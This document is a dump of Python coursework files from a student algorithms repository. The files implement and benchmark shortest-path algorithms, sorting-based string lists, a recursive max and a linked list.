A,B,C,D,E,F,G,H,I \n vertices = [[0,1,1,1,0,0,0,0,0], #A\n [1,0,1,0,0,1,0,1,0], #B\n [1,1,0,1,1,1,0,0,0], #C\n [1,0,1,0,1,0,0,0,1], #D\n [0,0,1,1,0,1,1,0,0], #E\n [0,1,1,0,1,0,1,1,0], #F\n [0,0,0,0,1,1,0,1,1], #G\n [0,1,0,0,0,1,1,0,1], #H\n [0,0,0,1,0,0,1,1,0]] #I\n\n # A, B, C, D, E, F, G, H, I \n weights = [[ 0,22, 9,12, 0, 0, 0, 0, 0], #A\n [22, 0,35, 0, 0,36, 0,34, 0], #B\n [ 9,35, 0, 4,65,42, 0, 0, 0], #C\n [12, 0, 4, 0,33, 0, 0, 0,30], #D\n [ 0, 0,65,33, 0,18,23, 0, 0], #E\n [ 0,36,42, 0,18, 0,39,24, 0], #F\n [ 0, 0, 0, 0,23,39, 0,25,21], #G\n [ 0,34, 0, 0, 0,24,25, 0,19], #H\n [ 0, 0, 0,30, 0, 0,21,19, 0]] #I\n\n\n g = Graph(vertices, weights)\n distance = g.dijkstra(len(vertices) - 1)\n print(\"Shortest distance: \" + str(distance) + \"\\n\\n\")\n\n print(\"Dijkstra Test\\n--------------------------------------------------------------------------------\")\n \n times = repeat(\"g = Graph(vertices, weights)\\ng.dijkstra(len(vertices) - 1)\", globals={'vertices': vertices, 'weights': weights, 'Graph': globals().get('Graph')}, number=10000, repeat=10)\n i = 1\n for time in times: print(\"Run \" + str(i) + \": \" + \"{0:0.8f}\".format(time)); i += 1\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5898950099945068, "alphanum_fraction": 0.6256561875343323, "avg_line_length": 38.06410217285156, "blob_id": "2bcf7e46f5339a01e0550c2d33c6207b4371acf5", "content_id": "c5f399955641ff8ca363729a109187084424c9f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3048, "license_type": "no_license", "max_line_length": 238, "num_lines": 78, "path": "/COP4533/Assignment 2/recursion_max.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nimport timeit\nimport random\nfrom statistics import mean\nimport sys\n\ndef recursiveMax(iterable, max_index = 0, current_index = 0):\n\n\tif current_index == len(iterable):\n\t\treturn iterable[max_index]\n\n\tif iterable[current_index] > iterable[max_index]:\n\t\treturn recursiveMax(iterable, current_index, current_index + 1)\n\telse:\n\t\treturn recursiveMax(iterable, max_index, current_index + 1)\n\ndef main():\n\n\ttimeit.template = \"\"\"\ndef inner(_it, _timer{init}):\n {setup}\n _t0 = _timer()\n for _i in _it:\n retval = {stmt}\n _t1 = _timer()\n return _t1 - _t0, retval\n\"\"\"\n\n\tsys_limit = sys.getrecursionlimit\n\trecursion_limit = 990\n\tsmall_recursion_limit = 99\n\n\tprint(\"Test Results for recursive max function\\n\")\n\n\tprint(\"Finding max in list of \" + str(small_recursion_limit) + \" numbers, 10,000 times, 5 runs each\")\n\tprint(\"-------------------------------------\")\n\n\tprint(\"Recursive function: \")\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(\" + str(small_recursion_limit)+ \"):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"max = recursiveMax(python_list)\", number = 10000, repeat = 5, globals=globals())\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": Time: \" + str(\"{0:0.8f}\".format(time[0])) + \" Max: \" + str(time[1]))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0]for time in times)))\n\n\tprint(\"\\nPython Library Max() function (for comparison): \")\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(\" + str(small_recursion_limit)+ \"):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"max = recursiveMax(python_list)\", number = 10000, repeat = 5, globals=globals())\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": Time: \" + str(\"{0:0.8f}\".format(time[0])) + \" Max: \" + str(time[1]))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0]for time in times)))\n\n\tprint(\"\\n\\nFinding max in list of \" + str(recursion_limit) + \" numbers, 10,000 times, 5 runs each\")\n\tprint(\"-------------------------------------\")\n\n\tprint(\"Recursive function: \")\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(\" + str(recursion_limit)+ \"):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"max = recursiveMax(python_list)\", number = 10000, repeat = 5, globals=globals())\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": Time: \" + str(\"{0:0.8f}\".format(time[0])) + \" Max: \" + str(time[1]))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0]for time in times)))\n\n\tprint(\"\\nPython Library Max() function (for comparison): \")\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(\" + str(recursion_limit)+ \"):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"max = recursiveMax(python_list)\", number = 10000, repeat = 5, globals=globals())\n\tcount = 1\n\tfor time in times:\n\t\tprint(\"Run \" + str(count) + \": Time: \" + str(\"{0:0.8f}\".format(time[0])) + \" Max: \" + str(time[1]))\n\t\tcount += 1\n\tprint(\"Average: \" + str(mean(time[0]for time in times)))\n\n\tprint(\"\\n\")\nif __name__ == \"__main__\":\n\tmain()\n\n" }, { "alpha_fraction": 0.4600526690483093, "alphanum_fraction": 0.47146618366241455, "avg_line_length": 17.322580337524414, "blob_id": "209f9f540de3b07951bea2c3ff03a1de710da192", "content_id": "183c7afd5b08e768967926b840d22936870b820a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1139, "license_type": "no_license", "max_line_length": 61, "num_lines": 62, "path": "/COP4533/Assignment 3/quick_string_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nclass QuickStringList():\n \"\"\"Quick String List\"\"\"\n\n def __init__(self):\n \n self.__list = []\n\n def __iter__(self):\n return iter(self.__list)\n\n def __getitem__(self, key):\n return self.__list[key]\n\n def __setitem__(self, key, value):\n self.__list[key] = value\n\n def __str__(self):\n return str(self.__list)\n\n def __len__(self):\n return len(self.__list)\n\n def add(self, value):\n self.__list.append(value)\n \n def sort(self):\n __quick_sort__(self.__list, 0 , len(self.__list) - 1)\n\ndef __quick_sort__(list, low, high): \n\n if low < high: \n \n pivot = __partition__(list, low, high) \n\n __quick_sort__(list, low, pivot - 1) \n __quick_sort__(list, pivot + 1, high) \n\n\ndef __partition__(list, low, high): \n\n i = low\n pivot = list[high]\n \n for x in range(low , high): \n\n if list[x] < pivot: \n \n t = list[x]\n list[x] = list[i]\n list[i] = t\n\n i += 1\n \n t = list[high]\n list[high] = list[i]\n list[i] = t\n\n return i\n \n" }, { "alpha_fraction": 0.41342413425445557, "alphanum_fraction": 0.487840473651886, "avg_line_length": 32.16128921508789, "blob_id": "bf7d8c9931350a1cb38c8ebb70f083a13d5b1919", "content_id": "b630ec64fc56bf56f31ea49ef8973cf88e18c6cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2056, "license_type": "no_license", "max_line_length": 166, "num_lines": 62, "path": "/COP4533/Assignment 4/program_b.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n#Program B - Shortest Path\n#Bellman Ford Algorithm\n\nfrom sys import maxsize\nfrom timeit import repeat\n\nclass Graph:\n def __init__(self, c, g):\n self.graph = g\n self.vertex_count = c\n\n def calculate_bellman_ford(self, source, destination):\n\n self.distance = [maxsize] * self.vertex_count\n\n self.distance[source] = 0\n\n for _ in range(self.vertex_count - 1):\n for a, b, weight in self.graph:\n if self.distance[a] != maxsize and self.distance[a] + weight < self.distance[b]:\n self.distance[b] = self.distance[a] + weight\n\n return self.distance[destination]\n\n\ndef main():\n # A, B, C, D, E, F, G, H, I \n # 1, 2, 3, 4, 5, 6, 7, 8, 9 \n graph = [[ 0,22, 9,12, 0, 0, 0, 0, 0], #A\n [22, 0,35, 0, 0,36, 0,34, 0], #B\n [ 9,35, 0, 4,65,42, 0, 0, 0], #C\n [12, 0, 4, 0,33, 0, 0, 0,30], #D\n [ 0, 0,65,33, 0,18,23, 0, 0], #E\n [ 0,36,42, 0,18, 0,39,24, 0], #F\n [ 0, 0, 0, 0,23,39, 0,25,21], #G\n [ 0,34, 0, 0, 0,24,25, 0,19], #H\n [ 0, 0, 0,30, 0, 0,21,19, 0]] #I\n\n\n edges = []\n #Make python build the edges for me since I already made this stupid graph array for the first program\n for i in range(len(graph[0])):\n for j in range(i,len(graph[0])):\n if graph[i][j] != 0:\n edges.append([i, j, graph[i][j]])\n\n g = Graph(9, edges)\n distance = g.calculate_bellman_ford(0,8)\n print(\"Shortest distance: \" + str(distance) + \"\\n\\n\")\n\n print(\"Bellman Ford Algorithm Test\\n--------------------------------------------------------------------------------\")\n \n times = repeat(\"g = Graph(9,edges)\\ndistance = g.calculate_bellman_ford(0,8)\", globals={'edges': edges, 'Graph': globals().get('Graph')}, number=10000, repeat=10)\n i = 1\n for time in times: print(\"Run \" + str(i) + \": \" + \"{0:0.8f}\".format(time)); i += 1\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.48878923058509827, "alphanum_fraction": 0.5007473826408386, "avg_line_length": 18.676469802856445, "blob_id": "6806a7b8d1cf896305d0a8440e513b9769b02110", "content_id": "a3643584defefb625c9a91e2cc08685321ed8433", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 669, "license_type": "no_license", "max_line_length": 38, "num_lines": 34, "path": "/COP4533/Assignment 3/sequential_string_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nclass SequentialStringList(object):\n \"\"\"List of Strings\"\"\"\n \n def __init__(self):\n \n self.__list = []\n\n def __getitem__(self, key):\n return self.__list[key]\n\n def __setitem__(self, key, value):\n self.__list[key] = value\n\n def __str__(self):\n return str(self.__list)\n\n def __iadd__(self, value):\n print(value)\n self.__list += value\n\n def __add__(self, value):\n self.__list += value\n\n def add(self, value):\n self.__list.append(value)\n\n def find(self, key):\n for item in self.__list:\n if item == key:\n return item\n" }, { "alpha_fraction": 0.6094800233840942, "alphanum_fraction": 0.6452873945236206, "avg_line_length": 39.72346496582031, "blob_id": "0c8b7dd234ad973966918e86f507da39a27532a1", "content_id": "1e00867b2c25039a39193d87d02bfba375cd1efb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14578, "license_type": "no_license", "max_line_length": 218, "num_lines": 358, "path": "/COP4533/Assignment 2/linked_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nfrom collections import deque\nimport timeit\nimport random\nimport statistics\n\nclass Node:\n\n def __init__(self,initdata):\n self.data = initdata\n self.next = None\n\nclass LinkedList():\n\t'''Horrible implementation of doubly ended queue'''\n\n\tdef __init__(self):\n\t\tself.head = None\n\t\tself.tail = None\n\n\tdef __iter__(self):\n\t\tself.iter_node = self.head\n\t\treturn self\n\n\tdef __next__(self):\n\t\tif self.iter_node == None:\n\t\t\traise StopIteration\n\t\t\n\t\tdata = self.iter_node.data\n\n\t\tself.iter_node = self.iter_node.next\n\t\t\n\t\treturn data\n\n\tdef element_at(self, index):\n\t\t'''Returns item at specified index'''\n\t\treturn self.node_at(index).data\n\n\n\tdef node_at(self, index):\n\t\t'''Helper function returns node at index'''\n\t\tcurrent_node = self.head\n\t\tfor i in range(index):\n\t\t\tcurrent_node = current_node.next\n\t\treturn current_node\n\n\tdef isEmpty(self):\n\t\t'''Returns True if Linked List is empty, False if it contains data'''\n\t\treturn self.head == None\n\n\tdef add(self, item):\n\t\t'''Prepend item to list'''\n\t\tnew_node = Node(item)\n\t\tnew_node.next = self.head\n\t\tself.head = new_node\n\t\tif self.tail == None:\n\t\t\tself.tail = new_node\n\n\tdef append(self, item):\n\t\t'''Append item to list'''\n\t\tnew_node = Node(item)\n\n\t\tif self.tail != None:\n\n\t\t\tself.tail.next = new_node\n\t\t\tself.tail = new_node\n\t\telse:\n\n\t\t\tself.head = new_node\n\t\t\tself.tail = new_node\n\n\tdef __len__(self):\n\t\tcurrent = self.head\n\t\tcount = 0\n\n\t\twhile current != None:\n\t\t\tcount = count + 1\n\t\t\tcurrent = current.next\n\n\t\treturn count\n\n\tdef search(self, item):\n\t\t'''Returns true if item is found in list, false otherwise'''\n\t\tcurrent = self.head\n\t\tfound = False\n\n\t\twhile current != None and not found:\n\t\t\tif current.data == item:\n\t\t\t\tfound = True\n\t\t\telse:\n\t\t\t\tcurrent = current.next\n\n\t\treturn found\n\n\tdef remove(self, item):\n\t\t'''Removes first instance of item found in list'''\n\t\tcurrent = self.head\n\t\tprevious = None\n\t\tfound = False\n\t\twhile not found:\n\t\t\tif current.data == item:\n\t\t\t\tfound = True\n\t\t\telse:\n\t\t\t\tprevious = current\n\t\t\t\tcurrent = current.next\n\n\t\tif previous == None:\n\t\t\tself.head = current.next\n\t\telse:\n\t\t\tprevious.setNext(current.next)\n\t\t\tif current.next == None:\n\t\t\t\tself.tail = previous\n\n\tdef insert(self, item, index):\n\t\t'''Inserts item at specified index in list'''\n\t\tnew_node = Node(item)\n\n\t\tif index == 0:\n\t\t\tnew_node.next = self.head\n\t\t\tself.head = new_node\n\t\t\treturn\n\n\t\tcurrent_node = self.head\n\t\tprevious_node = None\n\t\tfor i in range(index):\n\t\t\tprevious_node = current_node\n\t\t\tcurrent_node = current_node.next\n\n\t\tnew_node.next = current_node\n\t\tif current_node == self.tail:\n\t\t\tself.tail == new_node\n\t\tprevious_node.next = new_node\n\n\tdef index(self, index):\n\t\t'''Returns item at specified index'''\n\t\tif position == 0:\n\t\t\treturn self.head.data\n\n\t\tcurrent_node = self.head\n\t\tfor i in range(index):\n\t\t\tcurrent_node = current_node.next\n\n\t\treturn current_node.data\n\n\tdef clear():\n\t\t'''Removes all items, good luck garbage collector'''\n\t\tself.head = None\n\t\tself.tail = None\n\n\tdef pop(self, index = None):\n\t\t'''Removes and returns item at specified index in the list\n\t\tRemoves last item if index not specified'''\n\n\t\tif index == 0:\n\t\t\treturn_node = self.head\n\t\t\tif self.head == self.tail:\n\t\t\t\tself.tail = None\n\t\t\tself.head = self.head.next\n\t\t\treturn return_node\n\n\t\tcurrent_node = self.head\n\t\tprevious_node = None\n\n\t\tif index == None:\n\n\t\t\twhile current_node.next != None:\n\t\t\t\tprevious_node = current_node\n\t\t\t\tcurrent_node = current_node.next\n\n\t\t\tprevious_node.next = None\n\t\t\ttail = previous_node\n\n\t\telse:\n\t\t\tfor x in range(index):\n\t\t\t\tprevious_node = current_node\n\t\t\t\tcurrent_node = current_node.next\n\n\t\t\tif current_node.next != None:\n\t\t\t\tprevious_node.next = current_node.next\n\t\t\telse:\n\t\t\t\tprevious_node.next = None\n\t\t\t\ttail = previous_node\n\n\t\treturn current_node\n\n\tdef __str__(self):\n\t\treturn \"[\" + \", \".join((str(x) for x in self)) + \"]\"\n\t\t\ndef fill_list(list, count = 1000000):\n\tfor x in range(count):\n\t\tlist.append(42)\n\ndef fill_list_appendleft(list, count = 10000000):\n\tfor x in range(count):\n\t\tlist.appendleft(42)\n\ndef fill_list_prepend(list, count = 10000000):\n\tfor x in range(count):\n\t\tlist.add(42)\n\ndef main():\n\n\tprint(\"Test Results\\n\")\n\n\tprint(\"Populating lists with 10,000 numbers, 5 runs each\")\n\tprint(\"-------------------------------------\")\n\n\ttimes = timeit.repeat(setup = \"python_list = []\", stmt = \"fill_list(python_list, 10000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List: \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"\", stmt = \"python_list = [42] * 10000\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List (ver 2): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"\", stmt = \"python_list = [42 for _ in range(10000)]\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List (ver 3): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\", stmt = \"fill_list(python_deque, 10000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python Deque (append): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Python Deque (append) Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\", stmt = \"fill_list_appendleft(python_deque, 10000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python Deque (prepend): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\", stmt = \"fill_list(my_list, 10000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My List (append): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\", stmt = \"fill_list_prepend(my_list, 10000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My List (prepend): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\tprint(\"\\nPopulating lists with 100,000 numbers, 5 runs each\")\n\tprint(\"-------------------------------------\")\n\n\ttimes = timeit.repeat(setup = \"python_list = []\", stmt = \"fill_list(python_list, 100000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List: \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"\", stmt = \"python_list = [42] * 100000\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List (ver 2): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"\", stmt = \"python_list = [42 for _ in range(100000)]\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List (ver 3): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\", stmt = \"fill_list(python_deque, 100000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python Deque (append): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\", stmt = \"fill_list_appendleft(python_deque, 100000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python Deque (prepend): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\", stmt = \"fill_list(my_list, 100000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My List (append): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\", stmt = \"fill_list_prepend(my_list, 100000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My List (prepend): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\tprint(\"\\nPopulating lists with 1,000,000 numbers, 5 runs each\")\n\tprint(\"-------------------------------------\")\n\n\ttimes = timeit.repeat(setup = \"python_list = []\", stmt = \"fill_list(python_list, 1000000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List: \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"\", stmt = \"python_list = [42] * 1000000\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List (ver 2): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"\", stmt = \"python_list = [42 for _ in range(1000000)]\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python List (ver 3): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\", stmt = \"fill_list(python_deque, 1000000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python Deque (append): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\", stmt = \"fill_list_appendleft(python_deque, 1000000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python Deque (prepend): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\", stmt = \"fill_list(my_list, 1000000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My List (append): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\", stmt = \"fill_list_prepend(my_list, 1000000)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My List (prepend): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\tprint(\"\\nSorting lists of 10,000 numbers\")\n\tprint(\"-------------------------------------\")\n\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(10000):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"python_list.sort()\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python list.sort(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(10000):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(python_list)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python list sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\\nfor x in range(10000):\\n\tpython_deque.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(python_deque)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python deque sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\\nfor x in range(10000):\\n\tmy_list.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(my_list)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My list sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\tprint(\"\\nSorting lists of 100,000 numbers\")\n\tprint(\"-------------------------------------\")\n\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(100000):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"python_list.sort()\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python list.sort(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(100000):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(python_list)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python list sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\\nfor x in range(100000):\\n\tpython_deque.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(python_deque)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python deque sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\\nfor x in range(100000):\\n\tmy_list.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(my_list)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My list sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\tprint(\"\\nSorting lists of 1,000,000 numbers\")\n\tprint(\"-------------------------------------\")\n\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(1000000):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"python_list.sort()\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python list.sort(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"python_list = []\\nfor x in range(1000000):\\n\tpython_list.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(python_list)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python list sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\t\n\ttimes = timeit.repeat(setup = \"python_deque = deque()\\nfor x in range(1000000):\\n\tpython_deque.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(python_deque)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"Python deque sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\n\ttimes = timeit.repeat(setup = \"my_list = LinkedList()\\nfor x in range(1000000):\\n\tmy_list.append(random.randrange(1,1001))\", stmt = \"sorted_list = sorted(my_list)\", number = 1, repeat = 5, globals=globals())\n\tprint(\"My list sorted(): \" + str([\"{0:0.8f}\".format(time) for time in times]))\n\tprint(\"Average: \" + str(statistics.mean(times)))\n\nif __name__ == \"__main__\":\n\tmain()" }, { "alpha_fraction": 0.42315369844436646, "alphanum_fraction": 0.43612775206565857, "avg_line_length": 19.059999465942383, "blob_id": "3d018a1d1b0782484bc49ecc281e4443a9466b7b", "content_id": "927952ae635a6df023eced5b29c83b663ee018df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1002, "license_type": "no_license", "max_line_length": 55, "num_lines": 50, "path": "/COP4533/Assignment 3/bubble_string_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nclass BubbleStringList():\n \"\"\"Bubble String List\"\"\"\n\n\n def __init__(self):\n \n self.__list = []\n\n def __iter__(self):\n return iter(self.__list)\n\n def __getitem__(self, key):\n return self.__list[key]\n\n def __setitem__(self, key, value):\n self.__list[key] = value\n\n def __str__(self):\n return str(self.__list)\n\n def __len__(self):\n return len(self.__list)\n\n def add(self, value):\n self.__list.append(value)\n \n def sort(self):\n max = len(self.__list)\n\n swapped = True\n while swapped:\n\n swapped = False\n new_max = 0\n\n for i in range(1, max):\n\n if self.__list[i - 1] > self.__list[i]:\n t = self.__list[i]\n self.__list[i] = self.__list[i - 1]\n self.__list[i - 1] = t\n\n swapped = True\n new_max = i\n\n max = new_max" }, { "alpha_fraction": 0.542242705821991, "alphanum_fraction": 0.5545315146446228, "avg_line_length": 18.176469802856445, "blob_id": "e8c0e09bf01f5406a941e80cff2833f6d8bdd375", "content_id": "8ea41b2bbef2a8039f8943e62d259fc6cc94f952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 651, "license_type": "no_license", "max_line_length": 40, "num_lines": 34, "path": "/COP4533/Assignment 3/binary_tree_string_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nfrom binary_tree import BinarySearchTree\n\nclass BinaryTreeStringList():\n \"\"\"Binary Tree String List\"\"\"\n\n\n def __init__(self):\n \n self.__tree = BinarySearchTree()\n\n def __iter__(self):\n return iter(self.__tree)\n\n def __getitem__(self, key):\n return self.__tree[key]\n\n def __setitem__(self, key, value):\n self.__tree[key] = value\n\n def __str__(self):\n return str(self.__tree)\n\n def __len__(self):\n return len(self.__tree)\n\n def add(self, value):\n self.__tree.put(value)\n \n def find(self, value):\n return value in self.__tree" }, { "alpha_fraction": 0.5527306795120239, "alphanum_fraction": 0.5885122418403625, "avg_line_length": 29.371429443359375, "blob_id": "66909e349f4f878538fc2f6dbb8ea16ffef1da4e", "content_id": "4c24d51bfd2da2b7e2bc674e956e2d0897511d9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1062, "license_type": "no_license", "max_line_length": 142, "num_lines": 35, "path": "/COP4533/Assignment 3/binary_tree_test.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nfrom binary_tree_string_list import BinaryTreeStringList\nfrom string import ascii_lowercase, ascii_uppercase\nfrom timeit import repeat\nfrom random import choices, randint, randrange\nfrom statistics import mean\n\ndef main():\n\n my_list = []\n\n for y in (''.join(choices(ascii_uppercase + ascii_lowercase, k = 3)) for _ in range(20)): my_list.append(y)\n\n my_tree = BinaryTreeStringList()\n\n 